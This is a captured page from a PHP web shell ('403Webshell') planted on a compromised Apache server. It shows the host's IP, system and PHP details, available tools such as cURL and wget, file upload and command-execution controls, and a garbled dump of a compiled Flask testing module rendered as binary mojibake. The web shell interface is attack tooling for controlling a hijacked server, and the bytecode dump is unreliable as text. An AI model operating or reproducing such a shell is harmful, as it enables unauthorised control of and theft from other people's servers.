403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/flask/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/flask/__pycache__/testing.cpython-311.pyc
�

�j�bd)��(�ddlZddlmZddlmZddlmZddlmZddlZ	ddl
mZddlmZddl
mZdd	lmZd
dlmZd
dlmZd
d
lmZejrddlmZd
dlmZGd�de	jj��ZGd�de��ZGd�de��ZdS)�N)�contextmanager)�	ExitStack)�copy)�
TracebackType)�	CliRunner)�Client)�	url_parse)�Request�)�
ScriptInfo)�_cv_request)�SessionMixin)�TestResponse)�Flaskc����eZdZdZ				ddddedejedejed	ejed
ejdejddf�fd
�
Zdejdejdefd�Z	�xZ
S)�EnvironBuildera�An :class:`~werkzeug.test.EnvironBuilder`, that takes defaults from the
    application.

    :param app: The Flask application to configure the environment from.
    :param path: URL path being requested.
    :param base_url: Base URL where the app is being served, which
        ``path`` is relative to. If not given, built from
        :data:`PREFERRED_URL_SCHEME`, ``subdomain``,
        :data:`SERVER_NAME`, and :data:`APPLICATION_ROOT`.
    :param subdomain: Subdomain name to append to :data:`SERVER_NAME`.
    :param url_scheme: Scheme to use instead of
        :data:`PREFERRED_URL_SCHEME`.
    :param json: If given, this is serialized as JSON and passed as
        ``data``. Also defaults ``content_type`` to
        ``application/json``.
    :param args: other positional arguments passed to
        :class:`~werkzeug.test.EnvironBuilder`.
    :param kwargs: other keyword arguments passed to
        :class:`~werkzeug.test.EnvironBuilder`.
    �/N�appr�path�base_url�	subdomain�
url_scheme�args�kwargs�returnc���|s|s|r!|dut|p|��ks
Jd���|��|j�d��pd}|jd}	|r|�d|��}|�
|jd}t|��}
|
jp|�d|
jp|�d|	�d����}|
j}|
jr+t|
jt��rd	nd
}|||
jzz
}||_t��j
||g|�Ri|��dS)Nz8Cannot pass "subdomain" or "url_scheme" with "base_url".�SERVER_NAME�	localhost�APPLICATION_ROOT�.�PREFERRED_URL_SCHEMEz://r�?�?)�bool�config�getr	�scheme�netloc�lstripr�query�
isinstance�bytesr�super�__init__)
�selfrrrrrrr�	http_host�app_root�url�sep�	__class__s
            ��//usr/lib/python3/dist-packages/flask/testing.pyr.zEnvironBuilder.__init__-s}����	F�	�	F�Z�	F��D� �
��#��
�
�=
�=
�=
�F�	=
�=
�=
����
���}�5�5�D��I��z�"4�5�H��
7�(�6�6�9�6�6�	��!� �Z�(>�?�
��D�/�/�C��:�+��+�+��
�0G�i�+�+��O�O�C�(�(�+�+�
��8�D��y�
(�(���E�:�:�C�d�d�����c�i��'�����������x�9�$�9�9�9�&�9�9�9�9�9��objc�2�|jjj|fi|��S)z�Serialize ``obj`` to a JSON-formatted string.

        The serialization will be configured according to the config associated
        with this EnvironBuilder's ``app``.
        )r�json�dumps)r/r7rs   r5�
json_dumpszEnvironBuilder.json_dumpsUs#��#�t�x�}�"�3�1�1�&�1�1�1r6)rNNN)�__name__�
__module__�__qualname__�__doc__�str�t�Optional�Anyr.r;�
__classcell__�r4s@r5rrs����������0�$(�%)�&*�
&:�&:�
�&:��&:��*�S�/�	&:�
�:�c�?�&:��J�s�O�
&:��u�&:��%�&:�
�&:�&:�&:�&:�&:�&:�P2�a�e�2�q�u�2��2�2�2�2�2�2�2�2r6rc�N��eZdZUdZded<dejdejddf�fd�Zedejdejdej	e
ddffd	���Zd
�Zd�Z
ddd
�dejdededejddf
�fd�Zdd�Zdejedejedejeddfd�Z�xZS)�FlaskClientaWorks like a regular Werkzeug test client but has knowledge about
    Flask's contexts to defer the cleanup of the request context until
    the end of a ``with`` block. For general information about how to
    use this class refer to :class:`werkzeug.test.Client`.

    .. versionchanged:: 0.12
       `app.test_client()` includes preset default environment, which can be
       set after instantiation of the `app.test_client()` object in
       `client.environ_base`.

    Basic usage is outlined in the :doc:`/testing` chapter.
    r�applicationrrrNc���t��j|i|��d|_g|_t	��|_ddtj��d�|_dS)NFz	127.0.0.1z	werkzeug/)�REMOTE_ADDR�HTTP_USER_AGENT)	r-r.�preserve_context�
_new_contextsr�_context_stack�werkzeug�__version__�environ_base)r/rrr4s   �r5r.zFlaskClient.__init__nsa��������$�)�&�)�)�)� %���>@���'�k�k���&�A�8�+?�A�A�
�
����r6c/�K�|j�td���|j}|�di��}|j�|��tjd��}|j|i|��5}|j}|�	||j
��}|�td���tj|��}		|V�tj|	��n#tj|	��wxYw|�
��}
|�|��s|�|||
��|
�|j
j��}|j�|j
j|��ddd��dS#1swxYwYdS)a�When used in combination with a ``with`` statement this opens a
        session transaction.  This can be used to modify the session that
        the test client uses.  Once the ``with`` block is left the session is
        stored back.

        ::

            with client.session_transaction() as session:
                session['value'] = 42

        Internally this is implemented by going through a temporary test
        request context and since session handling could depend on
        request variables this function accepts the same arguments as
        :meth:`~flask.Flask.test_request_context` which are directly
        passed through.
        Nz:Session transactions only make sense with cookies enabled.�environ_overridesz?Session backend did not open a session. Check the configuration)�
cookie_jar�RuntimeErrorrH�
setdefault�inject_wsgir
r&�test_request_context�session_interface�open_session�request�set�reset�response_class�is_null_session�save_session�get_wsgi_headers�environ�extract_wsgi)r/rrrrS�outer_reqctx�crY�sess�token�resp�headerss            r5�session_transactionzFlaskClient.session_transactionxs�����(�?�"��L���
����"�-�-�.A�2�F�F����#�#�$5�6�6�6�"��t�,�,��
%�S�
%�t�
6�v�
6�
6�	E�!� #� 5��$�1�1�#�q�y�A�A�D��|�"�U���� �O�L�1�1�E�
)��
�
�
��!�%�(�(�(�(���!�%�(�(�(�(�����%�%�'�'�D�$�4�4�T�:�:�
@�!�.�.�s�D�$�?�?�?��+�+�A�I�,=�>�>�G��O�(�(���):�G�D�D�D�3	E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E����	E�	E�	E�	E�	E�	Es,�1AE=�:C�>E=�C)�)BE=�=F�Fc�H�i|j�|�}|jr|jj|d<|S)Nzwerkzeug.debug.preserve_context)rQrLrM�append)r/�other�outs   r5�
_copy_environzFlaskClient._copy_environ�s6��,��"�,�e�,��� �	O�59�5G�5N�C�1�2��
r6c��|�|�di����|d<t|jg|�Ri|��}	|���|���S#|���wxYw)NrQ)ror&rrH�get_request�close)r/rr�builders    r5�_request_from_builder_argsz&FlaskClient._request_from_builder_args�s}��!%�!3�!3�F�J�J�~�r�4R�4R�!S�!S��~�� ��!1�C�D�C�C�C�F�C�C��	��&�&�(�(��M�M�O�O�O�O��G�M�M�O�O�O�O���s�A+�+BF��buffered�follow_redirectsrvrwrc����|�rAt|dtjjtt
f���rt|dtjj��rKt
|d��}|�|jpi��|_|�	��}n�t|dt��rNt�
|d|j|�i������	��}nKt
|d��}|�|j��|_n|�
||��}|j���t!���|||���}|jj|_|jr:|j���}|j�|��|j�:|S)Nr)rrQru)r+rO�testr�dict�BaseRequestrrorQrq�from_environrHrbrtrNrrr-�openr9�json_modulerM�pop�
enter_context)
r/rvrwrrrsr[�response�cmr4s
         �r5r}zFlaskClient.open�s�����	D�J���G�h�m�2�D�+�F�
�
�	D��$�q�'�8�=�#?�@�@�
F��t�A�w�-�-��'+�'9�'9�'�:N�:T�RT�'U�'U��$�!�-�-�/�/����D��G�T�*�*�
F�(�5�5���G��!1��@R�@R�SU�@V�@V�6����+�-�-���
�t�A�w�-�-��"&�"4�"4�W�_�"E�"E�����5�5�d�F�C�C�G�
	
��!�!�#�#�#��7�7�<�<���-� �
�
��
 $�/�4���� �	2��#�'�'�)�)�B���-�-�b�1�1�1�� �	2��r6c�@�|jrtd���d|_|S)NzCannot nest client invocationsT)rLrU�r/s r5�	__enter__zFlaskClient.__enter__�s*��� �	A��?�@�@�@� $����r6�exc_type�	exc_value�tbc�F�d|_|j���dS)NF)rLrNrr)r/r�r�r�s    r5�__exit__zFlaskClient.__exit__�s'��!&�����!�!�#�#�#�#�#r6)rrG)r<r=r>r?�__annotations__rArCr.r�	Generatorrrjrortr$r}r�rB�type�
BaseExceptionrr�rDrEs@r5rGrG^s���������������
�a�e�
�q�u�
��
�
�
�
�
�
��4E��U�4E�&'�e�4E�	
��\�4��-�	.�4E�4E�4E��^�4E�l�������!&�	+�+�+��u�+��+��	+�
�%�+�
�
+�+�+�+�+�+�Z����$��*�T�"�$��:�m�,�$�
�J�}�%�	$�

�$�$�$�$�$�$�$�$r6rGc	���eZdZdZdddejddf�fd�Z	ddejd	ejdejdejf�fd
�
Z�xZS)�FlaskCliRunnerz�A :class:`~click.testing.CliRunner` for testing a Flask app's
    CLI commands. Typically created using
    :meth:`~flask.Flask.test_cli_runner`. See :ref:`testing-cli`.
    rrrrNc�H��||_t��jdi|��dS)N�)rr-r.)r/rrr4s   �r5r.zFlaskCliRunner.__init__s-�����������"�"�6�"�"�"�"�"r6�clirc����|��jj}d|vrt�fd����|d<t��j||fi|��S)acInvokes a CLI command in an isolated environment. See
        :meth:`CliRunner.invoke <click.testing.CliRunner.invoke>` for
        full method documentation. See :ref:`testing-cli` for examples.

        If the ``obj`` argument is not given, passes an instance of
        :class:`~flask.cli.ScriptInfo` that knows how to load the Flask
        app being tested.

        :param cli: Command object to invoke. Default is the app's
            :attr:`~flask.app.Flask.cli` group.
        :param args: List of strings to invoke the command with.

        :return: a :class:`~click.testing.Result` object.
        Nr7c����jS)N)rr�s�r5�<lambda>z'FlaskCliRunner.invoke.<locals>.<lambda>s	���$�(�r6)�
create_app)rr�rr-�invoke)r/r�rrr4s`   �r5r�zFlaskCliRunner.invokes]����"�;��(�,�C�����&�2B�2B�2B�2B�C�C�C�F�5�M��u�w�w�~�c�4�2�2�6�2�2�2r6)NN)	r<r=r>r?rArCr.r�rDrEs@r5r�r��s����������
#�G�#�q�u�#��#�#�#�#�#�#�
04�3�3��5�3�'(�u�3�?@�u�3�	
��3�3�3�3�3�3�3�3�3�3r6r�) �typingrA�
contextlibrrr�typesr�
werkzeug.testrO�
click.testingrr�
werkzeug.urlsr	�werkzeug.wrappersr
r{r�r�globalsr
�sessionsr�
TYPE_CHECKINGrrrryrrGr�r�r6r5�<module>r�s�������%�%�%�%�%�%� � � � � � �����������������#�#�#�#�#�#� � � � � � �#�#�#�#�#�#�4�4�4�4�4�4������� � � � � � �"�"�"�"�"�"��?��*�*�*�*�*�*�������D2�D2�D2�D2�D2�X�]�1�D2�D2�D2�N\$�\$�\$�\$�\$�&�\$�\$�\$�~!3�!3�!3�!3�!3�Y�!3�!3�!3�!3�!3r6

Youez - 2016 - github.com/yon3zu
LinuXploit